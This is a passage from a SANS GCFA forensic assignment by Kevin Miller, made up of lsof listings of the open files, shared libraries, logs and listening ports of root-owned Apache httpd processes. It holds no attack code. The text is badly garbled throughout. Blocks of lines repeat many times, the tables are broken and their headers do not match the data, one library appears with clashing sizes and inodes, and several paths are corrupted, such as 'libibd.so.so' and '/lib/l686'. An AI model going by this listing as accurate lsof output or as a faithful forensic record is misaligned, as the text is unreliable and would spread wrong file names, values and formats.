httpd 10612 root mem REG 3,2 8192 26693 /tmp/session_mm_apache0.sem
httpd 10612 root mem REG 3,2 55778 65358 /usr/lib/libz.so.1.1.3
httpd 10612 root mem REG 3,2 2457 130317
httpd 10612 root mem REG 3,2 42069 425002 /usr/lib/php4/ldap.so
httpd 10612 root mem REG 3,2 44992 65349 /usr/lib/libjpeg.so.62.0.0
httpd 10612 root mem REG 3,2 8192 26693 /tmp/session_mm_apache0.sem
httpd 10612 root mem REG 3,2 55778 65358 /usr/lib/libz.so.1.1.3
httpd 10612 root mem REG 3,2 2457 130317
httpd 10612 root mem REG 3,2 42069 425002 /usr/lib/php4/ldap.so
httpd 10612 root mem REG 3,2 44992 65349 /usr/lib/libjpeg.so.62.0.0
httpd 10612 root mem REG 3,2 8192 26693 /tmp/session_mm_apache0.sem
httpd 10612 root mem REG 3,2 55778 65358 /usr/lib/libz.so.1.1.3
httpd 10612 root mem REG 3,2 2457 130317
httpd 10612 root mem REG 3,2 42069 425002 /usr/lib/php4/ldap.so
httpd 10612 root mem REG 3,2 44992 65349 /usr/lib/libjpeg.so.62.0.0
httpd 10612 root mem REG 3,2 8192 26693 /tmp/session_mm_apache0.sem
httpd 10612 root mem REG 3,2 55778 65358 /usr/lib/libz.so.1.1.3
httpd 10612 root mem REG 3,2 2457 130317
httpd 10612 root mem REG 3,2 42069 425002 /usr/lib/php4/ldap.so
httpd 10612 root mem REG 3,2 44992 65349 /usr/lib/libjpeg.so.62.0.0
httpd 10612 root mem REG 3,2 8192 26693 /tmp/session_mm_apache0.sem
httpd 10612 root mem REG 3,2 55778 65358 /usr/lib/libz.so.1.1.3
httpd 10612 root mem REG 3,2 2457 130317
httpd 10612 root mem REG 3,2 42069 425002 /usr/lib/php4/ldap.so
httpd 10612 root mem REG 3,2 44992 65349 /usr/lib/libjpeg.so.62.0.0
httpd 10612 root mem REG 3,2 8192 26693 /tmp/session_mm_apache0.sem
httpd 10612 root mem REG 3,2 55778 65358 /usr/lib/libz.so.1.1.3
httpd 10612 root mem REG 3,2 2457 130317
httpd 10612 root mem REG 3,2 42069 425002 /usr/lib/php4/ldap.so
httpd 10612 root mem REG 3,2 44992 65349 /usr/lib/libjpeg.so.62.0.0
httpd 10612 root mem REG 3,2 8192 26693 /tmp/session_mm_apache0.sem
httpd 10612 root mem REG 3,2 55778 65358 /usr/lib/libz.so.1.1.3
httpd 10612 root mem REG 3,2 2457 130317
httpd 10612 root mem REG 3,2 42069 425002 /usr/lib/php4/ldap.so
httpd 10612 root mem REG 3,2 44992 65349 /usr/lib/libjpeg.so.62.0.0
httpd 10612 root mem REG 3,2 8192 26693 /tmp/session_mm_apache0.sem

© SANS Institute 2004, As part of GIAC practical repository. Author retains full rights.
httpd 19365 root mem REG 3,2 10034 229493 /usr/lib/apache/mod_access.so
httpd 19365 root mem REG 3,2 11985 229497 /usr/lib/apache/mod_auth.so
httpd 19365 root mem REG 3,2 9304 229499 /usr/lib/apache/mod_auth_anon.so
httpd 19365 root mem REG 3,2 9800 229508 /usr/lib/apache/mod_auth_db.so
httpd 19365 root mem REG 3,2 8261 229509 /usr/lib/apache/mod_headers.so
httpd 19365 root mem REG 3,2 10176 229521 /usr/lib/apache/mod_setenvif.so
httpd 19365 root mem REG 3,2 9900 229529 /usr/lib/apache/libdav.so
httpd 19365 root mem REG 3,2 210094 229531 /usr/lib/apache/libssl.so
httpd 19365 root mem REG 3,2 1453198 425001 /usr/lib/php4/imap.so
httpd 19365 root mem REG 3,2 10176 229521 /usr/lib/apache/mod_setenvif.so
httpd 19365 root mem REG 3,2 65341 /lib/libutil-2.2.5.so
httpd 19365 root mem REG 3,2 1561021 229551 /usr/lib/apache/libphp4.so
httpd 19365 root mem REG 3,2 28138 66033 /usr/lib/libltdl.so.3.1.0
httpd 19365 root mem REG 3,2 5300 66039 /usr/lib/libpspell-modules.so.1.0.1
httpd 19365 root mem REG 3,2 426442 65304 /usr/lib/libstdc++-3-libc6.2-2.10.0.so
httpd 19365 root mem REG 3,2 131560 65396 /usr/lib/libpspell.so.4.0.3
httpd 19365 root mem REG 3,2 290511 65311 /usr/lib/libncurses.so.5.2
httpd 19365 root mem REG 3,2 215482 65389 /usr/lib/libgd.so.1.8.4
httpd 19365 root mem REG 3,2 717774 65410 /usr/lib/libxml2.so.2.4.19
httpd 19365 root mem REG 3,2 66646 65263 /usr/lib/libbz2.so.1.0.2
httpd 19365 root mem REG 3,2 189626 65384 /usr/lib/libttf.so.2.3.0
httpd 19365 root mem REG 3,2 295833 65382 /usr/lib/libfreetype.so.6.3.0
httpd 19365 root mem REG 3,2 140418 65389 /usr/lib/libjpeg.so.62.0.0
httpd 19365 root mem REG 3,2 79725 440048 /usr/lib/libpng.so.2.1.0.12
httpd 19365 root mem REG 3,2 59778 65358 /usr/lib/libz.so.1.1.3
httpd 19365 root mem REG 3,2 146819 66089 /usr/lib/libcurl.so.2.0.2
httpd 19365 root mem REG 3,2 924879 65362 /usr/lib/libcrypto.so.0.9.6
httpd 19365 root mem REG 3,2 214134 66042 /usr/lib/libssl.so.2.0.15
httpd 19365 root mem REG 3,2 207008 65363 /usr/lib/libssl.so.0.9.6b
httpd 19365 root mem REG 3,2 68925 65355 /usr/lib/libcrypto.so.0.9.6b
httpd 19365 root mem REG 3,2 153026 66042 /usr/lib/libssl.so.2.0.15
httpd 19365 root mem REG 3,2 290511 65311 /usr/lib/libncurses.so.5.2
httpd 19365 root mem REG 3,2 215482 65386 /usr/lib/libgmp.so.3.2.1
httpd 19365 root mem REG 3,2 196866 66287 /usr/lib/libgd.so.1.8.4
httpd 19365 root mem REG 3,2 171774 65410 /usr/lib/libxml2.so.2.4.19
httpd 19365 root mem REG 3,2 66646 65263 /usr/lib/libcurl.so.2.0.2
httpd 19365 root mem REG 3,2 135160 65396 /usr/lib/libpng.so.2.1.0.12
httpd 19365 root mem REG 3,2 59778 65358 /usr/lib/libz.so.1.1.3
<table>
<thead>
<tr>
<th>Process</th>
<th>User</th>
<th>Command</th>
<th>Status</th>
<th>PID</th>
<th>Comm</th>
<th>Path</th>
</tr>
</thead>
<tbody>
<tr>
<td>httpd</td>
<td>root</td>
<td>1w</td>
<td>CHR</td>
<td>1,3</td>
<td>/dev/null</td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>2w</td>
<td>REG</td>
<td>3,6</td>
<td>1729</td>
<td>44202 /var/log/httpd/error_log</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>3u</td>
<td>REG</td>
<td>3,6</td>
<td>0</td>
<td>38183 /var/run/httpd.mm.8124.sem</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>4u</td>
<td>REG</td>
<td>3,5</td>
<td>0</td>
<td>26691 /tmp/session_mm_apache0.sem</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>5u</td>
<td>REG</td>
<td>3,5</td>
<td>8192</td>
<td>26693 /tmp/session_mm_apache0.sem</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>15w</td>
<td>REG</td>
<td>3,6</td>
<td>1729</td>
<td>44202 /var/log/httpd/error_log</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>16u</td>
<td>IPV4</td>
<td>361623</td>
<td>TCP</td>
<td>*:https (LISTEN)</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>17u</td>
<td>IPV4</td>
<td>361624</td>
<td>TCP</td>
<td>*:http (LISTEN)</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>18w</td>
<td>REG</td>
<td>3,6</td>
<td>265</td>
<td>44201 /var/log/httpd/access_log</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>19w</td>
<td>REG</td>
<td>3,6</td>
<td>0</td>
<td>44198 /var/log/httpd/ssl_request_log</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>cwd</td>
<td>DIR</td>
<td>3,5</td>
<td>1024</td>
<td>2 /</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>rtd</td>
<td>DIR</td>
<td>3,5</td>
<td>1024</td>
<td>2 /</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>txt</td>
<td>REG</td>
<td>3,2</td>
<td>290169</td>
<td>131802 /usr/sbin/httpd</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>89547</td>
<td>63490 /lib/id-2.2.5.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>9883</td>
<td>229527 /usr/lib/apache/mod_vhost_alias.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>8301</td>
<td>229506 /usr/lib/apache/mod_env.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>17630</td>
<td>229514 /usr/lib/apache/mod_log_config.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>7438</td>
<td>229513 /usr/lib/apache/mod_log_agent.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>8530</td>
<td>229515 /usr/lib/apache/mod_log_referer.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>8274</td>
<td>229505 /usr/lib/apache/mod_dir.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>371</td>
<td>130311 /usr/lib/locale/en_US.iso885915/LC_IDENTIFICATION</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>101902</td>
<td>73734 /lib/i686/libpthread-0.9.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>173359</td>
<td>73732 /lib/i686/libm-2.2.5.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>23575</td>
<td>63501 /lib/libcrypto-2.2.5.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>30282</td>
<td>65273 /lib/libxml2.so.2.0.0</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>655224</td>
<td>65343 /lib/libdbd-3.3.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>19662</td>
<td>66292 /usr/lib/libmm.so.11.0.23</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>141735</td>
<td>65380 /usr/lib/libexpat.so.0.1.0</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>12102</td>
<td>65303 /lib/libssl.so.2.2.5</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>14929</td>
<td>229516 /usr/lib/apache/mod_mime.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>27415</td>
<td>229519 /usr/lib/apache/mod_negotiation.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>18365</td>
<td>229523 /usr/lib/apache/mod_status.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>19959</td>
<td>229512 /usr/lib/apache/mod_info.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>35886</td>
<td>229511 /usr/lib/apache/mod_include.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>27836</td>
<td>229501 /usr/lib/apache/mod_autoindex.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>14940</td>
<td>229503 /usr/lib/apache/mod_cgi.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>6924</td>
<td>229496 /usr/lib/apache/mod_asis.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>15974</td>
<td>229510 /usr/lib/apache/mod_imap.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>8541</td>
<td>229494 /usr/lib/apache/mod_actions.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>8770</td>
<td>229525 /usr/lib/apache/mod_userdir.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>10617</td>
<td>229495 /usr/lib/apache/mod_ellipsis.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>53189</td>
<td>229520 /usr/lib/apache/mod_rewrite.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>100334</td>
<td>229493 /usr/lib/apache/mod_access.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>11985</td>
<td>229497 /usr/lib/apache/mod_auth.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>8486</td>
<td>229498 /usr/lib/apache/mod_auth_anon.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>9304</td>
<td>229499 /usr/lib/apache/mod_auth_db.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>9900</td>
<td>229508 /usr/lib/apache/mod_expires.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>8261</td>
<td>229509 /usr/lib/apache/mod_headers.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>10176</td>
<td>229521 /usr/lib/apache/mod_setenvif.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>92407</td>
<td>440046 /usr/lib/kerberos/lib/gssapi_krb5.so.2.2</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>11174</td>
<td>63541 /usr/lib/libutil-2.2.5.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>122952</td>
<td>229529 /usr/lib/apache/libdav.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>210094</td>
<td>229531 /usr/lib/apache/libssl1.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>1453198</td>
<td>425001 /usr/lib/php/imap.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>8621</td>
<td>440053 /usr/kerberos/lib/gssapi_krb5.so.err.so.3.0</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>206666</td>
<td>114263 /usr/lib/gconv/gconv-modules.cache</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>29</td>
<td>130312 /usr/lib/locale/en_US.iso885915/LC_MEASUREMENT</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>65</td>
<td>130316 /usr/lib/locale/en_US.iso885915/LC_PHONEBOOK</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>161</td>
<td>130310 /usr/lib/locale/en_US.iso885915/LC_ADDRESS</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>83</td>
<td>130314 /usr/lib/locale/en_US.iso885915/LC_NAME</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>40</td>
<td>130315 /usr/lib/locale/en_US.iso885915/LC_PAPER</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>58</td>
<td>179360 /usr/lib/locale/en_US.iso885915/LC_MESSAGES/SYS_LC_MESSAGES</td>
</tr>
</tbody>
</table>
Kevin Miller - Sans GCFA Assignment – v1.4
Page 153
Kevin Miller - Sans GCFA Assignment – v1.4

httpd 19367 root mem REG 3,5 655224 63543 /lib/libdb-3.3.so
httpd 19367 root mem REG 3,2 19662 66292 /usr/lib/libmm.so.11.0.23
httpd 19367 root mem REG 3,2 141735 65380 /usr/lib/libexpat.so.0.1.10
httpd 19367 root mem REG 3,5 12102 63503 /lib/libdl-2.2.5.so
httpd 19367 root mem REG 3,2 14929 229516 /usr/lib/apache/mod_mime.so
httpd 19367 root mem REG 3,2 27415 229519 /usr/lib/apache/mod_negotiation.so
httpd 19367 root mem REG 3,2 18365 229523 /usr/lib/apache/mod_status.so
httpd 19367 root mem REG 3,2 19959 229521 /usr/lib/apache/mod_info.so
httpd 19367 root mem REG 3,2 35886 229511 /usr/lib/apache/mod_include.so
httpd 19367 root mem REG 3,2 27836 229501 /usr/lib/apache/mod_autoindex.so
httpd 19367 root mem REG 3,2 14940 229503 /usr/lib/apache/mod_cgi.so
httpd 19367 root mem REG 3,2 6924 229496 /usr/lib/apache/mod_asis.so
httpd 19367 root mem REG 3,2 15974 229510 /usr/lib/apache/mod_imap.so
httpd 19367 root mem REG 3,2 8541 229494 /usr/lib/apache/mod_actions.so
httpd 19367 root mem REG 3,2 8770 229525 /usr/lib/apache/mod_userdir.so
httpd 19367 root mem REG 3,2 10617 229495 /usr/lib/apache/mod_asis.so
httpd 19367 root mem REG 3,2 53189 229520 /usr/lib/apache/mod_rewrite.so
httpd 19367 root mem REG 3,2 10034 229493 /usr/lib/apache/mod_access.so
httpd 19367 root mem REG 3,2 11985 229497 /usr/lib/apache/mod_auth.so
httpd 19367 root mem REG 3,2 8486 229498 /usr/lib/apache/mod_auth_anon.so
httpd 19367 root mem REG 3,2 9304 229499 /usr/lib/apache/mod_auth_db.so
httpd 19367 root mem REG 3,2 9900 229508 /usr/lib/mod_expires.so
httpd 19367 root mem REG 3,2 8261 229509 /usr/lib/apache/mod_headers.so
httpd 19367 root mem REG 3,2 10176 229521 /usr/lib/apache/mod_setenvif.so
httpd 19367 root mem REG 3,2 92407 440046 /usr/lib/kerberos/lib/libcom_err.so.3.0
httpd 19367 root mem REG 3,5 11174 63541 /lib/libutil-2.2.5.so
httpd 19367 root mem REG 3,2 122952 229529 /usr/lib/apache/libdav.so
httpd 19367 root mem REG 3,2 210094 229531 /usr/lib/apache/libssl.so
httpd 19367 root mem REG 3,2 1453198 425001 /usr/lib/php/imap.so
httpd 19367 root mem REG 3,2 8621 440043 /usr/kerberos/lib/libcom_err.so.3.0
httpd 19367 root mem REG 3,2 20666 114263 /usr/lib/gconv/gconv-modules.cache
httpd 19367 root mem REG 3,2 29 130312
/usr/lib/locale/en_US.iso885915/LC_MEASUREMENT
httpd 19367 root mem REG 3,2 65 130316
/usr/lib/locale/en_US.iso885915/LC_TELEPHONE
httpd 19367 root mem REG 3,2 161 130310
/usr/lib/locale/en_US.iso885915/LC_ADDRESS
httpd 19367 root mem REG 3,2 83 130314
/usr/lib/locale/en_US.iso885915/LC_NAME
httpd 19367 root mem REG 3,2 40 130315
/usr/lib/locale/en_US.iso885915/LC_PAPER
httpd 19367 root mem REG 3,2 58 179360
/usr/lib/locale/en_US.iso885915/LC_MESSAGES/SYS_LC_MESSAGES
httpd 19367 root mem REG 3,2 292 130313
/usr/lib/locale/en_US.iso885915/LC_MONETARY
httpd 19367 root mem REG 3,2 22592 130323
/usr/lib/locale/en_US.iso885915/LC_COLLATE
httpd 19367 root mem REG 3,2 89424 63507 /lib/libnsl-2.2.5.so
httpd 19367 root mem REG 3,2 1561021 229551 /usr/lib/apache/libphp4.so
httpd 19367 root mem REG 3,2 35340 63567 /lib/libpm.so.0.75
httpd 19367 root mem REG 3,2 28138 66033 /lib/libtdls.so.3.1.0
httpd 19367 root mem REG 3,2 5300 66039 /lib/libspell-modules.so.0.1.0.1
httpd 19367 root mem REG 3,2 426442 65304 /lib/libstdc++-3+3/libc6.2-2.2.10.0.so
httpd 19367 root mem REG 3,2 131560 65396 /lib/libpng.so.2.0.10.12
httpd 19367 root mem REG 3,2 59778 65358 /lib/libz.so.1.1.3
httpd 19367 root mem REG 3,2 146819 66089 /lib/libcurl.so.2.0.2
httpd 19367 root mem REG 3,5 924879 63562 /lib/libcrypto.so.0.9.6b
httpd 19367 root mem REG 3,5 207008 63563 /lib/libssl.so.0.9.6b
httpd 19367 root mem REG 3,5 68925 63535 /lib/libresolv-2.2.5.so
httpd 19367 root mem REG 3,2 153026 66042 /lib/libspell.so.4.0.3
httpd 19367 root mem REG 3,2 290511 65311 /lib/libnssutil.so.5.2
httpd 19367 root mem REG 3,2 215482 65386 /lib/libmpg.so.3.2.1
httpd 19367 root mem REG 3,2 196866 66287 /lib/libgd.so.1.8.4
httpd 19367 root mem REG 3,2 717774 65410 /lib/libxml2.so.2.4.19
httpd 19367 root mem REG 3,2 66646 65263 /lib/libbz2.so.1.0.2
httpd 19367 root mem REG 3,2 189626 65384 /lib/libtinfo.so.2.3.0
httpd 19367 root mem REG 3,2 295833 65382 /lib/libfreetype.so.6.3.0
httpd 19367 root mem REG 3,2 140418 65389 /lib/libjpeg.so.62.0.0

© SANS Institute 2004, As part of GIAC practical repository. Author retains full rights.
httpd 19368 root mem REG 3,5 11174 63541 /lib/libutil-2.2.5.so
httpd 19368 root mem REG 3,2 122952 229529 /usr/lib/apache/libdav.so
httpd 19368 root mem REG 3,2 210094 440043 /usr/lib/libcom_err.so.3.0
httpd 19368 root mem REG 3,2 20666 114263 /usr/lib/gconv/gconv-modules.cache

httpd 19368 root mem REG 3,2 156102 66042 /usr/lib/libpspell.so.4.0.3
httpd 19368 root mem REG 3,2 290511 65311 /usr/lib/libncurses.so.5.2
httpd 19368 root mem REG 3,2 215482 65386 /usr/lib/libgmp.so.3.2.1
httpd 19368 root mem REG 3,2 196866 65410 /usr/lib/libgd.so.1.8.4
httpd 19368 root mem REG 3,2 177774 65263 /usr/lib/libbz2.so.1.0.2
httpd 19368 root mem REG 3,2 140418 65389 /usr/lib/libjpeg.so.62.0.0
httpd 19368 root mem REG 3,2 79725 65358 /usr/kerberos/lib/libk5crypto.so.3.0
httpd 19368 root mem REG 3,2 42069 425002 /usr/lib/php/ldap.so
httpd 19368 root mem REG 3,2 44992 65349 /usr/lib/libibd.so.so.1.2
httpd 19368 root mem REG 3,2 45415 65323 /lib/libnss_files.so.3.0
httpd 19368 root mem REG 3,2 2457 130317 /usr/lib/locale/en_US.iso885915/LC_TIME
httpd 19368 root mem REG 3,2 60 130322 /usr/lib/locale/en_US.iso885915/LC_NUMERIC
httpd 19368 root mem REG 3,2 173680 130324 /usr/lib/locale/en_US.iso885915/LC_CTYPE
httpd 19368 root mem REG 3,2 1264225 229530 /usr/lib/apache/libperl.so
httpd 19368 root mem REG 3,2 427611 440053 /usr/lib/libc.so.so.1.2.5
httpd 19368 root mem REG 3,2 191615 65351 /usr/lib/libdb4.so.so.1.2.15
httpd 19368 root mem REG 3,2 48583 65345 /usr/lib/libnss_nisplus.so.7.1.8
httpd 19368 root mem REG 3,5 46117 65351 /lib/libnss_nisplus2-2.2.5.so
httpd 19368 root mem REG 3,5 1401027 73730 /lib/l686/libc-2.2.5.so
httpd 19368 root 1w CHR 1,3 9637/dev/null
httpd 19368 root 2w REG 3,6 1729 44202/var/log/httpd/error_log
httpd 19368 root 3u REG 3,6 0 38183/var/run/httpd.mm.8124.sem
httpd 19368 root 4u REG 3,5 0 26691/tmp/session-mm_apache0.sem
httpd 19368 root 5u REG 3,5 8192 26693/tmp/session_mm_apache0.sem
httpd 19368 root 15w REG 3,6 1729 44202/var/log/httpd/error_log
httpd 19368 root 16u IPv4 361623 TCP:*https (LISTEN)
httpd 19368 root 17u IPv4 361624 TCP:*http (LISTEN)
### Kevin Miller - Sans GCFA Assignment – v1.4

<table>
<thead>
<tr>
<th>Process</th>
<th>User</th>
<th>Flags</th>
<th>Priority</th>
<th>Real-time</th>
<th>RSS</th>
<th>VRSS</th>
<th>Paged</th>
<th>Shared</th>
<th>Size</th>
<th>Path</th>
</tr>
</thead>
<tbody>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3</td>
<td>2</td>
<td></td>
<td>27836</td>
<td>229501</td>
<td>/usr/lib/apache/mod_autoindex.so</td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3</td>
<td>2</td>
<td></td>
<td>14940</td>
<td>229503</td>
<td>/usr/lib/apache/mod_cgi.so</td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3</td>
<td>2</td>
<td></td>
<td>6924</td>
<td>229496</td>
<td>/usr/lib/apache/mod_asis.so</td>
<td></td>
</tr>
</tbody>
</table>
| httpd   | root    | mem   | REG      | 3          | 2   |      | 15974 | 229494 | /usr/lib/apache/mod_actions.so |}

```
httpd 19370 root mem REG 3,2 8541 229494 /usr/lib/apache/mod_actions.so
httpd 19370 root mem REG 3,2 8770 229503 /usr/lib/apache/mod_userdir.so
httpd 19370 root mem REG 3,2 10617 229508 /usr/lib/apache/mod_mods.so
httpd 19370 root mem REG 3,2 8261 229492 /usr/lib/apache/mod_access.so
httpd 19370 root mem REG 3,2 9304 229494 /usr/lib/apache/mod_auth.so
httpd 19370 root mem REG 3,2 8486 229498 /usr/lib/apache/mod_auth_anon.so
httpd 19370 root mem REG 3,2 9900 229508 /usr/lib/apache/mod_expires.so
httpd 19370 root mem REG 3,2 8261 229492 /usr/lib/apache/mod_access.so
httpd 19370 root mem REG 3,2 9304 229494 /usr/lib/apache/mod_auth.so
httpd 19370 root mem REG 3,2 9900 229508 /usr/lib/apache/mod_expires.so
httpd 19370 root mem REG 3,2 8261 229492 /usr/lib/apache/mod_access.so
httpd 19370 root mem REG 3,2 9304 229494 /usr/lib/apache/mod_auth.so
httpd 19370 root mem REG 3,2 9900 229508 /usr/lib/apache/mod_expires.so
httpd 19370 root mem REG 3,2 8261 229492 /usr/lib/apache/mod_access.so
httpd 19370 root mem REG 3,2 9304 229494 /usr/lib/apache/mod_auth.so
httpd 19370 root mem REG 3,2 9900 229508 /usr/lib/apache/mod_expires.so
httpd 19370 root mem REG 3,2 8261 229492 /usr/lib/apache/mod_access.so
httpd 19370 root mem REG 3,2 9304 229494 /usr/lib/apache/mod_auth.so
httpd 19370 root mem REG 3,2 9900 229508 /usr/lib/apache/mod_expires.so
httpd 19370 root mem REG 3,2 8261 229492 /usr/lib/apache/mod_access.so
httpd 19370 root mem REG 3,2 9304 229494 /usr/lib/apache/mod_auth.so
httpd 19370 root mem REG 3,2 9900 229508 /usr/lib/apache/mod_expires.so
httpd 19370 root mem REG 3,2 8261 229492 /usr/lib/apache/mod_access.so
httpd 19370 root mem REG 3,2 9304 229494 /usr/lib/apache/mod_auth.so
httpd 19370 root mem REG 3,2 9900 229508 /usr/lib/apache/mod_expires.so
httpd 19370 root mem REG 3,2 8261 229492 /usr/lib/apache/mod_access.so
httpd 19370 root mem REG 3,2 9304 229494 /usr/lib/apache/mod_auth.so
httpd 19370 root mem REG 3,2 9900 229508 /usr/lib/apache/mod_expires.so
```
<table>
<thead>
<tr>
<th>Command</th>
<th>User</th>
<th>Memory</th>
<th>Type</th>
<th>Path and Parameters</th>
</tr>
</thead>
<tbody>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>/usr/lib/locale/en_US.iso885915/LC_CTYPE</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2 173680 130324</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2 1264225 229530</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2 427611 440053</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2 193615 65351</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2 48583 65345</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
